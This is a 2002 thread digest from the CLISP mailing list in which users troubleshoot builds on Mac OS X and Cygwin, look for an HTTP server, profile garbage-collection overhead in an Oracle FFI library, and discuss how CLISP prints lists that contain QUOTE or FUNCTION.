How do I get CLISP 2.29 to install on Mac OS X 10.1.4? The 
installation directions simply say to tun the makefile. so i did and 
i got:
localhost:~/clisp-2.29] shorser% make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a 
base/libiconv.a base/libreadline.a -ldl -o base/lisp.run
/usr/bin/ld: table of contents for archive: base/lisp.a is out of 
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libsigsegv.a is out 
of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libintl.a is out of 
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libiconv.a is out of 
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libreadline.a is out 
of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: can't locate file for: -ldl
make: *** [base/lisp.run] Error 1
[localhost:~/clisp-2.29] shorser%
I'm guessing that it can't find the file base/lisp.run (although I 
could be wrong, I'm a still a bit new to the unix world). Does anyone 
out there know how to fix this problem?

thanks a lot,
solomon


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hi,
i'm desperately in search of an http-server running with clisp. For the
integration of a distributed
(non-commercial!) a.i.-system i need something like cl-http (unfortunately i
found no port for clisp).
All modules to integrate are specifically coded for clisp and run very
slowly under cmucl...
Most of the features offered by cl-http are unnecessary for our purpose;
because we just use
form-html, good support for the post() method of the http-protocol should be
included in the server.
any help would be great!

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sol <sol@avalon.pascal-central.com> writes:

> hi, a little new on the list. one quick question:
> How do I get CLISP 2.29 to install on Mac OS X 10.1.4? The
> installation directions simply say to tun the makefile. so i did and i
> got:
[snip]
> I'm guessing that it can't find the file base/lisp.run (although I
> could be wrong, I'm a still a bit new to the unix world). Does anyone
> out there know how to fix this problem?

did you run ./configure?

do you have the development tools and/or fink installed?

-- 
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That's how the light gets in.
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> * In message <28526.1031930899@www38.gmx.net>
> * On the subject of "[clisp-list] http-server for clisp?"
> * Sent on Fri, 13 Sep 2002 17:28:19 +0200 (MEST)
> * Honorable littledreamer@gmx.net writes:
>
> i'm desperately in search of an http-server running with clisp. For
> the integration of a distributed (non-commercial!) a.i.-system i need
> something like cl-http (unfortunately i found no port for clisp).  All
> modules to integrate are specifically coded for clisp and run very
> slowly under cmucl...  Most of the features offered by cl-http are
> unnecessary for our purpose; because we just use form-html, good
> support for the post() method of the http-protocol should be included
> in the server.  any help would be great!

1. CLISP comes with inspect.lisp which implements a rudimentary HTTP
   interaction.

2. CLOCC (http://clocc.sf.net) has an HTTP server in <CLOCC/src/donc>.

3. CLOCC/src/cllib has url.lisp - URL parsing &c (mostly client stuff)



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Sam Steingold <sds@gnu.org> writes:

> 1. CLISP comes with inspect.lisp which implements a rudimentary HTTP
>    interaction.
> 
> 2. CLOCC (http://clocc.sf.net) has an HTTP server in <CLOCC/src/donc>.
> 
> 3. CLOCC/src/cllib has url.lisp - URL parsing &c (mostly client stuff)

4. Apache+mod_lisp - you might want to take url.lisp and pieces of
   donc so that you don't have to do the HTTP massaging yourself.

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> * In message <28526.1031930899@ww...> 
> * On the subject of "[clisp-list] http-server for clisp?" 
> * Sent on Fri, 13 Sep 2002 17:28:19 +0200 (MEST) 
> * Honorable littledreamer@gm... writes: 
> 
> i'm desperately in search of an http-server running with clisp. For 
> the integration of a distributed (non-commercial!) a.i.-system i need 
> something like cl-http (unfortunately i found no port for clisp). All 
> modules to integrate are specifically coded for clisp and run very 
> slowly under cmucl... Most of the features offered by cl-http are 
> unnecessary for our purpose; because we just use form-html, good 
> support for the post() method of the http-protocol should be included 
> in the server. any help would be great! 

You might want to have a look at http.lsp written by Erann Gat:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=gat-1309021059390001
%40192.168.1.50&prev=/groups%3Fq%3Dgat%2Bhttp.lsp%26hl%3Den%26lr%3D%26ie%3DU
TF-8%26selm%3Dgat-1309021059390001%2540192.168.1.50%26rnum%3D2

I had to make a couple of minor mods to his code to get it to run on 
CLISP v2.29 and I have posted my changes as a response to Erann's 
message.

Some alternative options have been mentioned already; however, there 
is also a more comprehensive list at http://ww.telent.net/cliki/Web 
although I'm not sure how many of them will work with CLISP.

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cygwin-2.30 binary to download at 
http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp/
only with-dynamic-ffi, no other modules.

needs an installed cygwin, esp. for readline, libiconv and such.
all tests passed. very good work!

$ clisp --version
GNU CLISP 2.30 (released 2002-09-15) (built 3241106935) (memory 3241107305)
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER 
SOCKETS GENERIC-STREAMS
  LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN)

I'll experiment with a mysql and the wish binding now.
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Sam Steingold schrieb:
> Just nominate Bruno again, listing all you know about him
> (I am sure I missed a lot of his accomplishments).

esp. his early "fight" with rms when bruno wanted to include libreadline 
into clisp. nevertheless he released all his work under the GPL then.
this reminds me on the other famous german, ulrich drepper, who had a 
similar but more severe conflict recently.

personally i doubt if bruno qualifies for freedomfirst 
(http://gnu.org.in/news/freedomfirst.html), better for freedom-at-last.

btw: i did a fine nomination also with some points sam forgot.
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...thanks a lot to all the guys who answered to my question about an
http-server for clisp...
you've really helped me a lot - i could adapt the clocc server to our needs
and can now go on
developping. i think i will register our project (a gui-client/server
integration of the components of the symbolic a.i.-system "IPAL" -->
http://www.inf.uos.de/schmid/ipal.html ) at sourceforge
within the next days...
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Hello,

I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin,
and encountering the following error:

bash-2.05b$ mkdir build
bash-2.05b$ ./configure build
mkdir: cannot create directory
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
:': No such file or directory

The problem seems to be in the src/lndir script, with which I can
reproduce the error message:

bash-2.05b$ src/lndir modules/bindings
/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindings
mkdir: cannot create directory
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
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Is there something obvious I've missed in the build instructions, or 
is build under Cygwin unsupported...Or is it something else entirely?

Anyone have any thoughts?

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For my "C" oracle module I'm moving to the new syntax for defining "C"
call-out functions (DEF-C-CALL-OUT --> DEF-CALL-OUT) but when I set
the default language with

	(default-foreign-language :stdc)

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	WARNING:
	SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
	Ignore the lock and proceed
	WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-3 in lines 30..31 :
	SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE*

No big deal, but I am doing things just as in the examples and it
seems that should produce no warning.

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I've got a program that accesses a database and retrieves about 40,000
records (using the Oracle client lib I announced recently).

It's pretty sluggish - the same program written in perl DBI takes
about 1/20 th the time (i.e., it's 20x as long in Lisp).  I'm
surprised to see this and I'm trying to figure out why.

I think it is that my library is doing lots of consing and generating
a LOT of garbage for Lisp's GC to deal with (more on this below) So
I'm wondering: what's a good way to find the places in my code where
I'm consing and generating garbage?  Is there a "consing profiler"
type tool to do that?  I just read the chapter entitled "Speed" in
Graham's book "ANSI Common Lisp" and it says what functions to avoid
calling a lot, but I would rather be able to focus in on the hot spots
instead of having to laboriously rework all my newly debugged code ;)

Why do I think it's spending its time GC'ing?  I built CLISP with
gprof enabled, i.e., profiled at the "C" level, and my program gives
the top funcitons as:

    Each sample counts as 0.01 seconds.
      %   cumulative   self              self     total           
     time   seconds   seconds    calls   s/call   s/call  name    
     29.45     28.07    28.07     1498     0.02     0.04  gar_col_normal
     22.95     49.95    21.88  4556398     0.00     0.00  gc_mark
     12.16     61.54    11.59 139359175     0.00     0.00  objsize
      6.62     67.85     6.31 11624570     0.00     0.00  interpret_bytecode_
      1.54     69.32     1.47  2372121     0.00     0.00  allocate_iarray
      1.41     70.66     1.34 25267275     0.00     0.00  funcall
      1.31     71.91     1.25 10240813     0.00     0.00  funcall_closure
      0.87     72.74     0.83   355825     0.00     0.00  convert_from_foreign
      0.86     73.56     0.82 15026462     0.00     0.00  funcall_subr

Adding the first three lines, it appears to be spending over 60% of
its time doing GC.

Also notice the 25 million calls to "funcall" -- I tried to elminate
that by proclaiming ALL my Oracle package functions as "inline" as
well as "(declare (optimize (speed 3)))" etc.  I also built CLISP with
C compilation flags for maximum optimization (-O4)

Any ideas?  I know 40,000 records may seem a lot, but in database land
it really is not; the perl lib is 20x faster and I think I am doing
something naive with repsect to memory use (garbage). I'm trying to
figure out how to home in on where.

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 > Is there a "consing profiler" type tool to do that?

never mind, I found "metering.lisp" at 

 http://clocc.sourceforge.net/clocc/src/tools/metering/metering.lisp

(Google search give the top link to a page at Carnegie Mellon which
has a very outdated version; leading me to think it was abandoned).
But in fact it has been maintained for some Lisps, incl.  and I'll
give it a whirl.

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On Mon, 16 Sep 2002, John K. Hinsdale wrote:

> Why do I think it's spending its time GC'ing?  I built CLISP with
> gprof enabled, i.e., profiled at the "C" level, and my program gives
> the top funcitons as:

[ snip ]

> Adding the first three lines, it appears to be spending over 60% of
> its time doing GC.

There exists a freeware profiler for Lisp that is written in Lisp
and portable among implementations. Do a Google search for 
"lisp metering". CCLAN has this package; give it a try.

The Common Lisp TIME form may also be useful. Identify 
some code that you think is spending a lot of time, then
wrap it with (time ...). Then if you think you are on the
right trail, descend into the sub-expressions.

> Also notice the 25 million calls to "funcall" -- I tried to elminate
> that by proclaiming ALL my Oracle package functions as "inline" as
> well as "(declare (optimize (speed 3)))" etc.  I also built CLISP with
> C compilation flags for maximum optimization (-O4)

Note that incrementing beyond -O3 makes no difference. The GNU info
manual, at least, only describes the effect of -O0 through -O3.



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 > There exists a freeware profiler for Lisp that is written in Lisp and
 > portable among implementations. Do a Google search for "lisp
 > metering". CCLAN has this package; give it a try.

Yes, as I remarked I did Google for it, but got a moldy version
sitting at CMU.  Maybe I'll drop them a note and just have them link
to the version at CLOCC.

 > The Common Lisp TIME form may also be useful. Identify some code that
 > you think is spending a lot of time, then wrap it with (time

I'm sure now it was reckless consing.  In the hour or since I've
posted, I've had a very positive and fruitful experience with
"metering.lisp" and was able to weed out nearly half of my consing and
double the speed, with prospects for speeding it up pretty much to
however fast I really want it.  I just wanted to get rid of the really
dumb stuff first, esp. since I've posted it for general use.

One thing is puzzling me: I've got a "C" function that returns an
array of structures (yes, that again ... :).  The profiler is showing
it does lots of consing.  That doesn't make sense since I am passing
back from "C" an array of Lisp structures.  No cons-cells involved,
right?  The declaration  is:

   (def-call-out oracle_row_values
          (:arguments (db c-pointer))
          (:return-type (c-array-ptr (c-ptr sqlval))))

The reason this matters is that I cannot re-work this part.

 >> Also notice the 25 million calls to "funcall" -- I tried to elminate
 >> that by proclaiming ALL my Oracle package functions as "inline" as

Actually I'm still curious about this.  Does CLISP respect "inline"
declarations?


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"John K. Hinsdale" <hin@alma.com> writes:

>  >> Also notice the 25 million calls to "funcall" -- I tried to elminate
>  >> that by proclaiming ALL my Oracle package functions as "inline" as
> 
> Actually I'm still curious about this.  Does CLISP respect "inline"
> declarations?

nope.

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Hello Eric,

Tuesday, September 17, 2002, 1:21:54 AM, you wrote:

Eric> bash-2.05b$ mkdir build
Eric> bash-2.05b$ ./configure build
Eric> mkdir: cannot create directory
Eric> `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
Eric> :': No such file or directory

Eric> Anyone have any thoughts?
I'm not sure, but it may be CR/LF in sources (especially in makefile
or shell scripts). How did you get the sources and if you downloaded
it as packed file how did you unpack it ? Ensure sources are
containing 0x0A as line separators, not 0x0D/0x0A.

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After much success tuning up some code under CLISP, I'm still having
trouble understanding why some things cost what they do in terms of
CPU and memory (particularly garbage-collected storage).

By observation, using the consing profiler, noticed that when I call
the struct member access functions generated by DEFSTRUCT that these
functions CONS.  I can't figure out why they would do that given that
they are just accessing fixed pieces of data in a data structre of
known elements.

Below is some code that creates an array of 1000 structures, then
loops over the array, doing nothing more than accessing members of the
strutures.  I don't understand why there should be any consing at all.

The reason this is relevant for me is that I've designed a library w/
heavy use of Lisp's structure constructs, and it tends to loop over
large numbers of them.  Burdening the garbage collector with lots of
CONSing is making it slower, but not terribly so.

I mostly just want to understand.  Is this specific to the CLISP
implementation or part of how Lisp is supposed to work?

; ----------------  CODE HERE

#!/usr/local/bin/clisp -q

(defstruct foo
  mem1 mem2)

; Make a bunch of 1000 "foo" structures
(defun make-stuff ()
  (setq arr (make-array 1000))
  (map-into arr #'(lambda (f) (make-foo :mem1 "blah" :mem2 "blorf")) arr))

; Exercise it
(defun grind ()
  (let ((limit (- (length arr) 1)))
    (loop for i from 1 to limit do
	  (let ((f (aref arr i)))
	    (foo-mem1 f)
	    ))))

(load "/u/pkg/lisp/metering/metering.lisp")
(mon:monitor-form
 (progn
   (make-stuff)
   (grind)))

; ----------------  PROFILER OUTPUT BEGINS HERE

Real time: 0.340808 sec.
Run time: 0.34 sec.
Space: 496344 Bytes
GC: 1, GC time: 0.01 sec.

                                                 Cons    
               %      %                          Per       Total     Total
Function      Time   Cons    Calls  Sec/Call     Call      Time      Cons
-----------------------------------------------------------------------------
MAKE-STUFF:  48.78   49.20        1  0.159994    236144     0.160      236144
GRIND:       39.63   41.63        1  0.129994    199800     0.130      199800
FOO-MEM1:    10.37    1.67      999  0.000034         8     0.034        7992
MAKE-FOO:     1.22    7.50     1000  0.000004        36     0.004       36000
-----------------------------------------------------------------------------
TOTAL:      100.00  100.00     2001                         0.328      479936
Estimated monitoring overhead:  0.01 seconds
Estimated total monitoring overhead:  0.01 seconds




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    Arseny> Hello Eric,

    Arseny> Tuesday, September 17, 2002, 1:21:54 AM, you wrote:
    Eric> bash-2.05b$ mkdir build bash-2.05b$ ./configure build mkdir:
    Eric> cannot create directory
    Eric>
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
    Eric> :': No such file or directory

    Arseny> I'm not sure, but it may be CR/LF in sources (especially
    Arseny> in makefile or shell scripts). How did you get the sources
    Arseny> and if you downloaded it as packed file how did you unpack
    Arseny> it ? 

I obtained it in the usual way: To get through my company's proxy
server, I used Mozilla to download the sources from sf.net, then I 
unpacked them with:

bzip2 -dc clisp-2.30.tar.bz2 | tar xvf -

    Arseny> Ensure sources are containing 0x0A as line
    Arseny> separators, not 0x0D/0x0A.

I'll check this now.  Nope...Emacs hexl mode shows me just the 0A
at line ends, no 0Ds anywhere.  Or at least, 'configure' and 'lndir'
have the correct line endings.  Any other thoughts?  Has anyone on 
the list compiled successfully under cygwin?

Thanks for your input.

Eric


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> * In message <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL>
> * On the subject of "[clisp-list] CLISP 2.30 compilation under cygwin errors."
> * Sent on Mon, 16 Sep 2002 11:21:54 -0400
> * Honorable Eric Moncrieff <EricM@dimaxcontrols.com> writes:
>
> I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin,
> and encountering the following error:
> 
> bash-2.05b$ mkdir build
> bash-2.05b$ ./configure build
> mkdir: cannot create directory

$ rm -rf build
$ ./configure build

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Same result:

bash-2.05b$ rm -rf build
bash-2.05b$ ./configure build
mkdir: cannot create directory
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
:': No such file or directory
bash-2.05b$ 

So maybe I trashed the source tree, I thought.  So I 

bash-2.05b$ cd ..
bash-2.05b$ rm -rf clisp-2.30
bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf -
bash-2.05b$ cd clisp-2.30
bash-2.05b$ ./configure build
mkdir: cannot create directory
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
:': No such file or directory

Same result...

Eric

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>
> I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin,
> and encountering the following error:
> 
> bash-2.05b$ mkdir build
> bash-2.05b$ ./configure build
> mkdir: cannot create directory

$ rm -rf build
$ ./configure build

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> * In message <200209162016.g8GKGeUQ010358@van-halen.alma.com>
> * On the subject of "[clisp-list] Lots o' garbage ..."
> * Sent on Mon, 16 Sep 2002 16:16:40 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> I think it is that my library is doing lots of consing and generating
> a LOT of garbage for Lisp's GC to deal with (more on this below) So
> I'm wondering: what's a good way to find the places in my code where
> I'm consing and generating garbage?  Is there a "consing profiler"
> type tool to do that?  I just read the chapter entitled "Speed" in
> Graham's book "ANSI Common Lisp" and it says what functions to avoid
> calling a lot, but I would rather be able to focus in on the hot spots
> instead of having to laboriously rework all my newly debugged code ;)

CLOCC/src/tools/metering.lisp
and CLISP built-in SPACE macro
(see <http://clisp.cons.org/impnotes.html#space>
<http://clisp.cons.org/impnotes/environment-dict.html#space>)

>       %   cumulative   self              self     total           
>      time   seconds   seconds    calls   s/call   s/call  name    
>      29.45     28.07    28.07     1498     0.02     0.04  gar_col_normal
>      22.95     49.95    21.88  4556398     0.00     0.00  gc_mark
>      12.16     61.54    11.59 139359175     0.00     0.00  objsize
>       6.62     67.85     6.31 11624570     0.00     0.00  interpret_bytecode_
>       1.54     69.32     1.47  2372121     0.00     0.00  allocate_iarray
>       1.41     70.66     1.34 25267275     0.00     0.00  funcall
>       1.31     71.91     1.25 10240813     0.00     0.00  funcall_closure
>       0.87     72.74     0.83   355825     0.00     0.00  convert_from_foreign
>       0.86     73.56     0.82 15026462     0.00     0.00  funcall_subr
> 
> Adding the first three lines, it appears to be spending over 60% of
> its time doing GC.

this is ugly.  usually the biggest hog is interpret_bytecode_().

> Also notice the 25 million calls to "funcall" -- I tried to elminate
> that by proclaiming ALL my Oracle package functions as "inline" as
> well as "(declare (optimize (speed 3)))" etc.  I also built CLISP with
> C compilation flags for maximum optimization (-O4)

CLISP does respect INLINE declarations when you compile a file.
CLISP ignores OPTIMIZE.

Alas, CLISP FFI is not too efficient.

Joerg-Cyril posted several interesting rants on the matter, but is yet
to fix this.  Prod him!

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> * In message <200209170113.g8H1DG0b005233@van-halen.alma.com>
> * On the subject of "[clisp-list] CONSing by structure access functions"
> * Sent on Mon, 16 Sep 2002 21:13:16 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> Real time: 0.340808 sec.
> Run time: 0.34 sec.
> Space: 496344 Bytes
> GC: 1, GC time: 0.01 sec.
> 
>                                                  Cons    
>                %      %                          Per       Total     Total
> Function      Time   Cons    Calls  Sec/Call     Call      Time      Cons
> -----------------------------------------------------------------------------
> MAKE-STUFF:  48.78   49.20        1  0.159994    236144     0.160      236144
> GRIND:       39.63   41.63        1  0.129994    199800     0.130      199800
> FOO-MEM1:    10.37    1.67      999  0.000034         8     0.034        7992
> MAKE-FOO:     1.22    7.50     1000  0.000004        36     0.004       36000
> -----------------------------------------------------------------------------
> TOTAL:      100.00  100.00     2001                         0.328      479936
> Estimated monitoring overhead:  0.01 seconds
> Estimated total monitoring overhead:  0.01 seconds

1. you did not compile your code, right?  I did and I got this:

[4]> (space (progn (make-stuff) (grind)))
                                            Permanent            Temporary
Class                                  instances   bytes    instances   bytes
-----                                  --------- ---------  --------- ---------
FOO                                         1000     20000          0         0
SIMPLE-VECTOR                                  1      4008          0         0
-----                                  --------- ---------  --------- ---------
Total                                       1001     24008          0         0

Real time: 0.00291 sec.
Run time: 0.0 sec.
Space: 24008 Bytes

2. You should always take the output of metering.lisp with a grain of
   salt.  It is cross-platform and quite old, so it can have
   unpredictable side effects and overhead.
   
   I did some work this spring (so that 2.30 has it) on CLISP and
   CLOCC/src/tools/metering.lisp to reduce the overhead, but there still
   may be some.

   That said, metering is a great package and I have used it to great
   benefit myself.
   

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 > CLOCC/src/tools/metering.lisp

Got that; it's been very useful.

 > and CLISP built-in SPACE macro

Thanks I'll play with it if it comes to that

   >>      29.45     28.07    28.07     1498     0.02     0.04  gar_col_normal
   >>      22.95     49.95    21.88  4556398     0.00     0.00  gc_mark
   >>      12.16     61.54    11.59 139359175     0.00     0.00  objsize

 > this is ugly.  usually the biggest hog is interpret_bytecode_().

It would appear at first, but after more thought I'm not surprised or
worried.  What I was running was an empty loop that did nothing but
retrieve results from the database and throw them away.  OF COURSE it
is going to have lots of overhead, consing and throwing away.  It is
only doing the relatively useless work of moving data around.

The real application is actually be doing some computation (making a
report, doing a calcuation on the data) and then the proportion of
time in interpret_bytecode will probably be reasonable.  For this case
what I WANTED was to perversely exercise the library overhead so I
could try to eliminate it, and that has worked.

So things are not so bad as I made them appear: it is as much the
nature of the benchmark, which elicits an unrealistic amount of
overhead.  If I profile a real app had this much GC so, then yes that
would be ugly.  What is the accepted amount of GC people are happy
with anyway?

 > CLISP does respect INLINE declarations when you compile a file.

Then I am missing something.  When I include my .lisp file as part of
an external module, is it not compiled when it is built?  I saw no
difference in funcall overhead, nor did the metering.lisp output
appear to reflect inlining has having been done.  The way I did
inlining was to put 

	(procalim '(inline foo bar bar ...))

at the top of my package, listing every single function name defined
in the package.  How would I look at the compiler output to see if
inlining was done?  Maybe I will run a small experiment outside my
large file.

 > CLISP ignores OPTIMIZE.

 > Alas, CLISP FFI is not too efficient.
 > 
 > Joerg-Cyril posted several interesting rants on the matter, but is yet
 > to fix this.  Prod him!

It's not such a big problem for me, as after a few more tweaks today,
I expect the FFI/interfgace overhead to be trimmed down to a point
where it is a pretty small percentage of the overall work being done
relative to the application.

Thank you all for your help.

---
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> * In message <200209171350.g8HDo3D3008076@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] Lots o' garbage ..."
> * Sent on Tue, 17 Sep 2002 09:50:03 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
>  > CLISP does respect INLINE declarations when you compile a file.
> 
> Then I am missing something.  When I include my .lisp file as part of
> an external module, is it not compiled when it is built?  I saw no
> difference in funcall overhead, nor did the metering.lisp output
> appear to reflect inlining has having been done.  The way I did
> inlining was to put 
> 
> 	(procalim '(inline foo bar bar ...))
> 
> at the top of my package, listing every single function name defined
> in the package.  How would I look at the compiler output to see if
> inlining was done?  Maybe I will run a small experiment outside my
> large file.

try DISASSEMBLE on a function that calls FOO.

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Eric Moncrieff <EricM@dimaxcontrols.com> writes:

> bash-2.05b$ cd ..
> bash-2.05b$ rm -rf clisp-2.30
> bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf -
> bash-2.05b$ cd clisp-2.30
> bash-2.05b$ ./configure build
> mkdir: cannot create directory
> `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
> :': No such file or directory
> 
> Same result...
> 
> Eric

is CLISP trying to mkdir build/bindingsFIND without having mkdir'd
build? try changing line 278 of configure from

maybe_mkdir() { test -d "$1" || mkdir "$1"; }

to

makybe_mkdir() { test -d "$1" || mkdir -p "$1"; }

and see what happens.

-- 
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Date: Tue Sep 17 08:51:02 2002
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Same result.  

I think there's something funny in the way Cygwin handles the
'src/lndir' script; as I mentioned in my first posting, that's
what actually generates the error.  

I'm not sure where to proceed on 'debugging' the lndir script,
if indeed it's a bug in that and not Cygwin (or my thinking). 

I'm not sure where lndir sucks in config information, because

$ grep FIND src/* 

returns the empty set.

Yet, 

$ src/lndir modules/bindings \
/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindings 

generates the same error as the ./configure script, complete with the
string FIND called.  

However, when I call the above prefixed by 

$ bash -x COMMAND

and observe what the shell thinks it's doing, it seems sane.

Hm.  I don't know.

Eric
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Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors.


Eric Moncrieff <EricM@dimaxcontrols.com> writes:

> bash-2.05b$ cd ..
> bash-2.05b$ rm -rf clisp-2.30
> bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf -
> bash-2.05b$ cd clisp-2.30
> bash-2.05b$ ./configure build
> mkdir: cannot create directory
>
`/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
> :': No such file or directory
> 
> Same result...
> 
> Eric

is CLISP trying to mkdir build/bindingsFIND without having mkdir'd
build? try changing line 278 of configure from

maybe_mkdir() { test -d "$1" || mkdir "$1"; }

to

makybe_mkdir() { test -d "$1" || mkdir -p "$1"; }

and see what happens.

-- 
-Marco
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Dear Mr. Bruno Haible and others,

I am using CLISP for some applications. I noticed that there is a 
problem with the interpretation of "quote" and "function".

Based on the definition in Steele et al 's book "Common Lisp: the 
Language" 1st and 2nd eds, when you perform:

(setq x '(a quote c))

it is normally interpreted as:

(a quote c)

However, if you try this in CLISP, you will get:

(A . 'C)

The same thing happens to "function"

when you input:

(setq x '(a function c))

You will get the following in CLISP:

(A . #'C)

intead of the normal interpretation:

(A FUNCTION C)  

I am wondering whether this is what you intended. If not, what could an 
easy fix?

Thanks.

--Fuliang






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Hi,

If you have XFree86/Cygwin installed, you have a binary called "lndir" in 
/usr/X11R6/bin ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on 
your PATH setting, you might be invoking that instead of any lndir script 
that's part of the CLISP build system.

Also, if line endings are an issue, there's also the text vs. binary mount 
business in Cygwin (not to mention the "binmode" option in the CYGWIN 
environment variable). If you're using Cygwin to build software, you need 
to understand how Cygwin handles the variant text file encodings of Windows 
and Unix.

Randall Schulz
Mountain View, CA USA


At 08:51 2002-09-17, Eric Moncrieff wrote:
>Same result.
>
>I think there's something funny in the way Cygwin handles the
>'src/lndir' script; as I mentioned in my first posting, that's
>what actually generates the error...



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 > (setq x '(a quote c))
 > it is normally interpreted as:
 > (a quote c)
 > However, if you try this in CLISP, you will get:
 > (A . 'C)

I think this is just a problem with how it is displaying the list.
Internally it does look like it's being computed right.  Not that this
isn't confusing :)

E.g.:


[1]> (setq x '(a quote c))
(A . 'C)
[2]> (describe x)

(A . 'C) is a list of length 3.

[3]> (describe (car x))

A is the symbol A, lies in #<PACKAGE COMMON-LISP-USER>, is accessible in the package COMMON-LISP-USER.
....

[4]> (describe (cadr x))

QUOTE is the symbol QUOTE, lies in #<PACKAGE COMMON-LISP>, is accessible in the packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, 
POSIX, REGEXP, SCREEN, SYSTEM, WILDCARD, names a special operator.
 
...

[5]> (describe (caddr x))

C is the symbol C, lies in #<PACKAGE COMMON-LISP-USER>, is accessible in the package COMMON-LISP-USER.
 
...


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Ok, I am more interested in getting the normal interpretation for the 
tasks I am doing.
For example, when a function reads in a sentence represented in a list 
(he said it does not function well) and then print it out, and you will 
see (he said it does not . #'well). That's not just a displaying problem;)

I would like to hear any neat and clean solutions to this (not just 
treat a sentence as a string). Thanks.

--Fuliang


John K. Hinsdale wrote:

> > (setq x '(a quote c))
> > it is normally interpreted as:
> > (a quote c)
> > However, if you try this in CLISP, you will get:
> > (A . 'C)
>
>I think this is just a problem with how it is displaying the list.
>Internally it does look like it's being computed right.  Not that this
>isn't confusing :)
>
>E.g.:
>
>
>[1]> (setq x '(a quote c))
>(A . 'C)
>[2]> (describe x)
>
>(A . 'C) is a list of length 3.
>
>[3]> (describe (car x))
>
>A is the symbol A, lies in #<PACKAGE COMMON-LISP-USER>, is accessible in the package COMMON-LISP-USER.
>....
>
>[4]> (describe (cadr x))
>
>QUOTE is the symbol QUOTE, lies in #<PACKAGE COMMON-LISP>, is accessible in the packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, 
>POSIX, REGEXP, SCREEN, SYSTEM, WILDCARD, names a special operator.
> 
>...
>
>[5]> (describe (caddr x))
>
>C is the symbol C, lies in #<PACKAGE COMMON-LISP-USER>, is accessible in the package COMMON-LISP-USER.
> 
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    Randall> Hi,

Hello,

    Randall> If you have XFree86/Cygwin installed, you have a binary
    Randall> called "lndir" in /usr/X11R6/bin
    Randall> ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on
    Randall> your PATH setting, you might be invoking that instead of
    Randall> any lndir script that's part of the CLISP build system.

I removed /usr/X11R6/bin from my path, to be sure that it wasn't
there, and it wasn't.  

    Randall> Also, if line endings are an issue, there's also the text
    Randall> vs. binary mount business in Cygwin (not to mention the
    Randall> "binmode" option in the CYGWIN environment variable). If
    Randall> you're using Cygwin to build software, you need to
    Randall> understand how Cygwin handles the variant text file
    Randall> encodings of Windows and Unix.

Hm.  I'll read up on this...But I've never experienced any difficulty
before.  Then again, I am relatively new to the Cygwin environment.
Maybe my successes have been accidental :)

I'll see if I can't track anything down.

Thanks for all the ideas so far.

Eric


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    Randall> The thing about text vs. binary is that different people
<snip great explanation>
    Randall> installation and configuration choices were made.

Thank you for this clear and succinct summary of the problem.  Armed
with this, I found a document on the cygwin website about precisely
this issue, which suggested that environment variables would need to
be set by running the cygwin.bat file before other tasks.

I did this, and now it seems to be working better.

Thanks again!

Eric


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On Tue, 17 Sep 2002, Fuliang Weng (RTC) wrote:

> Date: Tue, 17 Sep 2002 10:13:59 -0500
> From: "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com>
> To: John K. Hinsdale <hin@alma.com>
> Cc: clisp-list@lists.sourceforge.net,
>      Fuliang Weng <fuliang.weng@rtc.bosch.com>
> Subject: Re: [clisp-list] bug report
> 
> Ok, I am more interested in getting the normal interpretation for the 
> tasks I am doing.
> For example, when a function reads in a sentence represented in a list 
> (he said it does not function well) and then print it out, and you will 
> see (he said it does not . #'well). That's not just a displaying problem;)

That is funny.  But it *is* just a displaying problem. The above notation
is equivalent to:

    (he said it does not . (function well))

which is equivalent to

    (he said it does not function well)

It's just confusing to a human, that is all. :)

> I would like to hear any neat and clean solutions to this (not just 
> treat a sentence as a string). Thanks.

The neat solution is not to employ symbols from the COMMON-LISP package
for your own use.  If you are reading symbolic data from a file or user
interface, use your own package!

[14]> (defpackage :fuliang)
#<PACKAGE FULIANG>
[15]> (in-package :fuliang)
